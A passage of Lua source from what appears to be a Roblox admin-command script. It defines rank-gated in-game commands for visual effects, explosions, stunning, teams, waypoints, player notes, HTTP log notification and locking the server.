  7198. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
  7199. if Answer == "Yes" then
  7200. local OldBet = Settings.Bet
  7201. CORE:ChangeBet(Bet)
  7202. GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  7203. end
  7204. end
  7205. end};
  7206.  
  7207. [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7208. local Prefix = Arguments[1]
  7209. if #Prefix > 5 then
  7210. GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  7211. else
  7212. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  7213. if Answer == "Yes" then
  7214. local OldPrefix = Settings.Prefix
  7215. Settings.Prefix = Prefix
  7216. GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  7217. end
  7218. end
  7219. end};
  7220.  
  7221. [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  7222. GUI:CommandBar(Speaker)
  7223. end};
  7224.  
  7225. [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7226. GUI:CommandBar(Speaker)
  7227. PermCommandBars[Speaker.Name] = true
  7228. end};
  7229.  
  7230. [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7231. PermCommandBars[Speaker.Name] = nil
  7232. end};
  7233.  
  7234. [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7235. local Players = STRING:Scan(Arguments[1], Speaker)
  7236. for _,Player in pairs(Players) do
  7237. PermCommandBars[Player.Name] = nil
  7238. end
  7239. end};
  7240.  
  7241. [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  7242. CORE:CreateFigure("Dummy", nil, true, Speaker)
  7243. end};
  7244.  
  7245. [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7246. CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  7247. end};
  7248.  
  7249. [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7250. local Players = STRING:Scan(Arguments[1], Speaker)
  7251. for _,Player in pairs(Players) do
  7252. CORE:ClonePlayer(Player)
  7253. end
  7254. end};
  7255.  
  7256. [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7257. local Players = STRING:Scan(Arguments[1], Speaker)
  7258. for _,Player in pairs(Players) do
  7259. CORE:ClonePlayer(Player, Arguments[2])
  7260. end
  7261. end};
  7262.  
  7263. [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  7264. for _,Obj in pairs(Objects) do
  7265. if Obj then Obj:Destroy() end
  7266. end
  7267. for Name,Jail in pairs(Jails) do
  7268. if not game.Players:FindFirstChild(Name) then
  7269. Jail:Destroy()
  7270. Jails[Name] = nil
  7271. end
  7272. end
  7273. Objects = {}
  7274. end};
  7275.  
  7276. [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  7277. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  7278. if Obj:IsA("Hat") or Obj:IsA("Tool") then
  7279. Obj:Destroy()
  7280. end
  7281. end
  7282. end};
  7283.  
  7284. [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7285. local Players = STRING:Scan(Arguments[1], Speaker)
  7286. for _,Player in pairs(Players) do
  7287. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7288. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  7289. end
  7290. end
  7291. end};
  7292.  
  7293. [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  7294. local Players = STRING:Scan(Arguments[1], Speaker)
  7295. for _,Player in pairs(Players) do
  7296. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7297. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  7298. end
  7299. end
  7300. end};
  7301.  
  7302. [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7303. local Players = STRING:Scan(Arguments[1], Speaker)
  7304. for _,Player in pairs(Players) do
  7305. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7306. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  7307. end
  7308. end
  7309. end};
  7310.  
  7311. [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7312. local Players = STRING:Scan(Arguments[1], Speaker)
  7313. for _,Player in pairs(Players) do
  7314. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7315. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7316. if Get:IsA("Sparkles") then
  7317. Get:Destroy()
  7318. end
  7319. end
  7320. end
  7321. end
  7322. end};
  7323.  
  7324. [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7325. local Players = STRING:Scan(Arguments[1], Speaker)
  7326. for _,Player in pairs(Players) do
  7327. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7328. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7329. if Get:IsA("Fire") then
  7330. Get:Destroy()
  7331. end
  7332. end
  7333. end
  7334. end
  7335. end};
  7336.  
  7337. [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7338. local Players = STRING:Scan(Arguments[1], Speaker)
  7339. for _,Player in pairs(Players) do
  7340. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7341. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7342. if Get:IsA("Smoke") then
  7343. Get:Destroy()
  7344. end
  7345. end
  7346. end
  7347. end
  7348. end};
  7349.  
  7350. [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7351. local Players = STRING:Scan(Arguments[1], Speaker)
  7352. for _,Player in pairs(Players) do
  7353. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7354. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7355. local Boom = Instance.new("Explosion", Workspace)
  7356. Boom.Position = Player.Character.Torso.Position
  7357. end
  7358. end
  7359. end};
  7360.  
  7361. [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7362. local Players = STRING:Scan(Arguments[1], Speaker)
  7363. for _,Player in pairs(Players) do
  7364. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7365. coroutine.wrap(function() for i = 1,50 do
  7366. local Boom = Instance.new("Explosion", Workspace)
  7367. Boom.Position = Player.Character.Torso.Position
  7368. wait()
  7369. end end)()
  7370. coroutine.wrap(function() for i = 1,5 do
  7371. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7372. end end)()
  7373. end
  7374. end
  7375. end};
  7376.  
  7377. [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7378. local Players = STRING:Scan(Arguments[1], Speaker)
  7379. for _,Player in pairs(Players) do
  7380. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7381. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7382. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  7383. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
  7384. end
  7385. end
  7386. end};
  7387.  
  7388. [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7389. local Players = STRING:Scan(Arguments[1], Speaker)
  7390. for _,Player in pairs(Players) do
  7391. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7392. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7393. end
  7394. end
  7395. end};
  7396.  
  7397. [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  7398. local Players = STRING:Scan(Arguments[1], Speaker)
  7399. for _,Player in pairs(Players) do
  7400. if Player.Character then
  7401. Player.Character.Parent = Server.Lighting
  7402. end
  7403. end
  7404. end};
  7405.  
  7406. [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7407. local Players = STRING:Scan(Arguments[1], Speaker)
  7408. for _,Player in pairs(Players) do
  7409. if Player.Character then
  7410. Player.Character.Parent = Server.Workspace
  7411. Player.Character:MakeJoints()
  7412. end
  7413. end
  7414. end};
  7415.  
  7416. [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  7417. local Players = STRING:Scan(Arguments[1], Speaker)
  7418. for _,Player in pairs(Players) do
  7419. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7420. Player.Character.Humanoid.PlatformStand = true
  7421. end
  7422. end
  7423. end};
  7424.  
  7425. [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7426. local Players = STRING:Scan(Arguments[1], Speaker)
  7427. for _,Player in pairs(Players) do
  7428. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7429. Player.Character.Humanoid.PlatformStand = false
  7430. end
  7431. end
  7432. end};
  7433.  
  7434. [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  7435. local Players = STRING:Scan(Arguments[1], Speaker)
  7436. for _,Player in pairs(Players) do
  7437. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7438. Player.Character.Humanoid.Jump = true
  7439. end
  7440. end
  7441. end};
  7442.  
  7443. [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7444. local Players = STRING:Scan(Arguments[1], Speaker)
  7445. for _,Player in pairs(Players) do
  7446. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7447. Player.Character.Humanoid.Sit = true
  7448. end
  7449. end
  7450. end};
  7451.  
  7452. [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7453. local Players = STRING:Scan(Arguments[1], Speaker)
  7454. for _,Player in pairs(Players) do
  7455. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7456. Player.Character.Humanoid.Sit = false
  7457. end
  7458. end
  7459. end};
  7460.  
  7461. [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7462. local Players = STRING:Scan(Arguments[1], Speaker)
  7463. for _,Player in pairs(Players) do
  7464. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7465. local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  7466. end
  7467. end
  7468. end};
  7469.  
  7470. [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7471. local Players = STRING:Scan(Arguments[1], Speaker)
  7472. for _,Player in pairs(Players) do
  7473. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7474. local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  7475. end
  7476. end
  7477. end};
  7478.  
  7479. [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7480. GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  7481. end};
  7482.  
  7483. [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  7484. local Color = "Blue"
  7485. local String = Arguments[2]
  7486. local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  7487. if #ChatSplit >= 2 then
  7488. if string.lower(ChatSplit[1]) == "green" then
  7489. Color = "Green"
  7490. String = ChatSplit[2]
  7491. elseif string.lower(ChatSplit[1]) == "red" then
  7492. Color = "Red"
  7493. String = ChatSplit[2]
  7494. end
  7495. end
  7496. local Players = STRING:Scan(Arguments[1], Speaker)
  7497. for _,Player in pairs(Players) do
  7498. if Player.Character and Player.Character:FindFirstChild("Head") then
  7499. game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
  7500. end
  7501. end
  7502. end};
  7503.  
  7504. [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  7505. local Players = STRING:Scan(Arguments[1], Speaker)
  7506. for _,Player in pairs(Players) do
  7507. if Player.Character then
  7508. CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  7509. end
  7510. end
  7511. end};
  7512.  
  7513. [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7514. local Players = STRING:Scan(Arguments[1], Speaker)
  7515. local ID = nil
  7516. if tonumber(Arguments[2]) ~= nil then
  7517. ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7518. else
  7519. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  7520. for _,Face in pairs(FaceTable) do
  7521. if string.lower(Arguments[2]) == string.lower(Face) then
  7522. ID = FaceID
  7523. break
  7524. end
  7525. end
  7526. end
  7527. end
  7528. if ID then
  7529. for _,Player in pairs(Players) do
  7530. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7531. Player.Character.Head.face.Texture = "rbxassetid://"..ID
  7532. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  7533. end
  7534. end
  7535. end
  7536. end};
  7537.  
  7538. [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7539. local Players = STRING:Scan(Arguments[1], Speaker)
  7540. local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7541. for _,Player in pairs(Players) do
  7542. if Player.Character and Player.Character:FindFirstChild("Head") then
  7543. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7544. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  7545. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  7546. end
  7547. end
  7548. end};
  7549.  
  7550. [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7551. local Players = STRING:Scan(Arguments[1], Speaker)
  7552. for _,Player in pairs(Players) do
  7553. if Player.Character and Player.Character:FindFirstChild("Head") then
  7554. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7555. end
  7556. end
  7557. end};
  7558.  
  7559. [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7560. REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  7561. end, Http = true};
  7562.  
  7563. [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7564. GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  7565. end, Http = true};
  7566.  
  7567. [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7568. local Players = STRING:Scan(Arguments[1], Speaker)
  7569. for _,Player in pairs(Players) do
  7570. local ExistingData = Player:LoadInstance("Data")
  7571. if ExistingData == nil then
  7572. ExistingData = Instance.new("Configuration")
  7573. end
  7574. ExistingData.Name = "Player Data"
  7575. local Key = Instance.new("Configuration", ExistingData)
  7576. Key.Name = Arguments[2]
  7577. Player:SaveInstance("Data", ExistingData)
  7578. end
  7579. end};
  7580.  
  7581. [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7582. local Players = STRING:Scan(Arguments[1], Speaker)
  7583. local Data = Arguments[2]
  7584. for _,Player in pairs(Players) do
  7585. local ExistingData = Player:LoadInstance("Data")
  7586. if ExistingData ~= nil then
  7587. if string.lower(Data) == "all" then
  7588. ExistingData:ClearAllChildren()
  7589. else
  7590. for _,DataObj in pairs(ExistingData:GetChildren()) do
  7591. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  7592. DataObj:Destroy()
  7593. end
  7594. end
  7595. end
  7596. end
  7597. Player:SaveInstance("Data", ExistingData)
  7598. end
  7599. end};
  7600.  
  7601. [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7602. local Players = STRING:Scan(Arguments[1], Speaker)
  7603. local DataSet = {}
  7604. for _,Player in pairs(Players) do
  7605. local ExistingData = Player:LoadInstance("Data")
  7606. if ExistingData ~= nil then
  7607. if #ExistingData:GetChildren() ~= 0 then
  7608. for _,Data in pairs(ExistingData:GetChildren()) do
  7609. table.insert(DataSet, Player.Name..": "..Data.Name)
  7610. end
  7611. else
  7612. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7613. end
  7614. else
  7615. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7616. end
  7617. end
  7618. GUI:ListGui(Speaker, "Notes", DataSet)
  7619. end};
  7620.  
  7621. [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  7622. local Players = STRING:Scan(Arguments[1], Speaker)
  7623. for _,Player in pairs(Players) do
  7624. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7625. Player.Character.Humanoid.WalkSpeed = 16
  7626. end
  7627. end
  7628. end};
  7629.  
  7630. [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  7631. local Players = STRING:Scan(Arguments[1], Speaker)
  7632. for _,Player in pairs(Players) do
  7633. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7634. Player.Character.Humanoid.WalkSpeed = -16
  7635. end
  7636. end
  7637. end};
  7638.  
  7639. [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  7640. local TeamColor = BrickColor.random()
  7641. local TeamName = Arguments[1]
  7642. local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  7643. if #TeamNameSplit >= 2 then
  7644. local Color = TeamNameSplit[1]
  7645. local NewTeamName = TeamNameSplit[2]
  7646. if Color == "Medium stone grey" then
  7647. TeamColor = BrickColor.new(Color)
  7648. TeamName = NewTeamName
  7649. elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  7650. TeamColor = BrickColor.new(Color)
  7651. TeamName = NewTeamName
  7652. elseif Colors[string.upper(Color)] then
  7653. TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  7654. TeamName = NewTeamName
  7655. end
  7656. end
  7657.  
  7658. local NewTeam = Instance.new("Team", Server.Teams)
  7659. NewTeam.TeamColor = TeamColor
  7660. NewTeam.Name = TeamName
  7661. end};
  7662.  
  7663. [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  7664. local Players = STRING:Scan(Arguments[1], Speaker)
  7665. for _,Player in pairs(Players) do
  7666. Player.Neutral = true
  7667. end
  7668. end};
  7669.  
  7670. [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7671. local Players = STRING:Scan(Arguments[1], Speaker)
  7672. if string.lower(Arguments[2]) == "none" then
  7673. for _,Player in pairs(Players) do
  7674. Player.Neutral = true
  7675. end
  7676. else
  7677. for _,Obj in pairs(Server.Teams:GetChildren()) do
  7678. if Obj:IsA("Team") then
  7679. if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7680. for _,Player in pairs(Players) do
  7681. Player.Neutral = false
  7682. Player.TeamColor = Obj.TeamColor
  7683. end
  7684. end
  7685. end
  7686. end
  7687. end
  7688. end};
  7689.  
  7690. [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  7691. for _,Obj in pairs(Server.Teams:GetChildren()) do
  7692. if Obj:IsA("Team") then
  7693. if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  7694. for _,Player in pairs(Server.Players:GetPlayers()) do
  7695. if Player.TeamColor == Obj.TeamColor then
  7696. Player.Neutral = true
  7697. end
  7698. end
  7699. Obj:Destroy()
  7700. end
  7701. end
  7702. end
  7703. end};
  7704.  
  7705. [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  7706. for _,Player in pairs(Server.Players:GetPlayers()) do
  7707. Player.Neutral = true
  7708. end
  7709. for _,Obj in pairs(Server.Teams:GetChildren()) do
  7710. if Obj:IsA("Team") then
  7711. Obj:Destroy()
  7712. end
  7713. end
  7714. end};
  7715.  
  7716. [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7717. for _,Player in pairs(Server.Players:GetPlayers()) do
  7718. GUI:Countdown(Player, Arguments[1])
  7719. end
  7720. end};
  7721.  
  7722. [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7723. local Players = STRING:Scan(Arguments[1], Speaker)
  7724. for _,Player in pairs(Players) do
  7725. if Player:FindFirstChild("Backpack") then
  7726. CORE:ExecuteResource("ShowAd", Player.Backpack)
  7727. end
  7728. end
  7729. end};
  7730.  
  7731. [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7732. local Players = STRING:Scan(Arguments[1], Speaker)
  7733. for _,Player in pairs(Players) do
  7734. if Player.Character then
  7735. for PosName,WP in pairs(Waypoints) do
  7736. if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7737. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  7738. break
  7739. end
  7740. end
  7741. end
  7742. end
  7743. end};
  7744.  
  7745. [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
  7746. CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  7747. end};
  7748.  
  7749. [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7750. local Num = 0
  7751. for PosName,WP in pairs(Waypoints) do
  7752. Num = Num + 1
  7753. if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  7754. Waypoints[PosName] = nil
  7755. end
  7756. end
  7757. end};
  7758.  
  7759. [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  7760. local WaypointHolder,WaypointRaw = {},{}
  7761. for Name, WP in pairs(Waypoints) do
  7762. local View = Name..": "..tostring(WP)
  7763. table.insert(WaypointHolder, View)
  7764. WaypointRaw[View] = WP
  7765. end
  7766. local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  7767. Clicked.Event:connect(function(Text)
  7768. local Waypoint = WaypointRaw[Text]
  7769. if Waypoint then
  7770. if Speaker.Character then
  7771. Speaker.Character:MoveTo(Waypoint)
  7772. end
  7773. end
  7774. end)
  7775. end};
  7776.  
  7777. [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7778. local Players = STRING:Scan(Arguments[1], Speaker)
  7779. local List = {}
  7780. for _,Player in pairs(Players) do
  7781. table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
  7782. end
  7783. GUI:ListGui(Speaker, "Listed Players", List)
  7784. end};
  7785.  
  7786. [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  7787. if tonumber(Arguments[1]) then
  7788. ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  7789. else
  7790. local Players = STRING:Scan(Arguments[1], Speaker)
  7791. for _,Player in pairs(Players) do
  7792. ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
  7793. end
  7794. end
  7795. end};
  7796.  
  7797. [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  7798. local Players = STRING:Scan(Arguments[1], Speaker)
  7799. local Friends,OneFriend = {}, false
  7800. for _,Player in pairs(Players) do
  7801. for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
  7802. --[[if Player:IsBestFriendsWith(User.UserId) then
  7803. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  7804. OneFriend = true
  7805. ]]
  7806. if Player:IsFriendsWith(User.UserId) then
  7807. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  7808. OneFriend = true
  7809. end
  7810. if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
  7811. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  7812. end
  7813. end end
  7814. end
  7815. GUI:ListGui(Speaker, "Friend List", Friends)
  7816. end};
  7817.  
  7818. [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7819. Settings.ServerLocked = true
  7820. GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  7821. end};
  7822.  
